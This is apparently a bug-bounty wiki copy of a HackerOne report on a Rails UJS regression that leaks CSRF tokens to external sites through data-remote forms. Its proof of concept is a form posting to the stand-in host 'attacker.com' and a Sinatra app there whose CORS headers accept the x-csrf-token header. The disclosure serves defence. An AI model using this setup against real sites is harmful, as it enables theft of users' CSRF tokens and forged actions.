CSRF header is sent to external websites when using data-remote forms
A regression in the fix for CVE-2015-1840 caused Rails UJS to send the CSRF token header to external websites when submitting a data-remote form. An attacker could host a malicious page that receives the victim's CSRF token, potentially enabling CSRF attacks.
Originally disclosed on HackerOne
- Triaged in 2.6 years
- Fixed in 3.4 years
- Disclosed after 3.5 years
Looks like there is a regression in the fix for CVE-2015-1840 (H1 report). The origin isn't being checked before adding a CSRF header to data-remote forms. I noticed this when checking out the new rails-ujs repo.
Example Rails template:
<%= form_tag "http://attacker.com", remote: true do %>
<button type=submit>submit</button>
<% end %>
Example http://attacker.com app
require "sinatra"
options '/*' do
headers['Access-Control-Allow-Origin'] = "*"
headers['Access-Control-Allow-Methods'] = "POST"
headers['Access-Control-Allow-Headers'] ="x-csrf-token"
end
post '/*' do
"foo"
end
When the form is submitted, an XHR request to attacker.com is sent, including the X-CSRF-Token header.
PS: @tenderlove told me to submit this here. I shouldn't get paid since I'm one of the GitHub folks who reviews these H1 submissions now.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker could obtain the victim's CSRF token by receiving the header sent to their site.
What the attacker needed
A data-remote form submits to an external site; the form is submitted
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A bug caused the secret token to be sent to other websites when a form was set to submit remotely. The report shows the token reaching an external site.
What is CSRF?
Another site makes a signed-in user's browser perform an action they did not intend.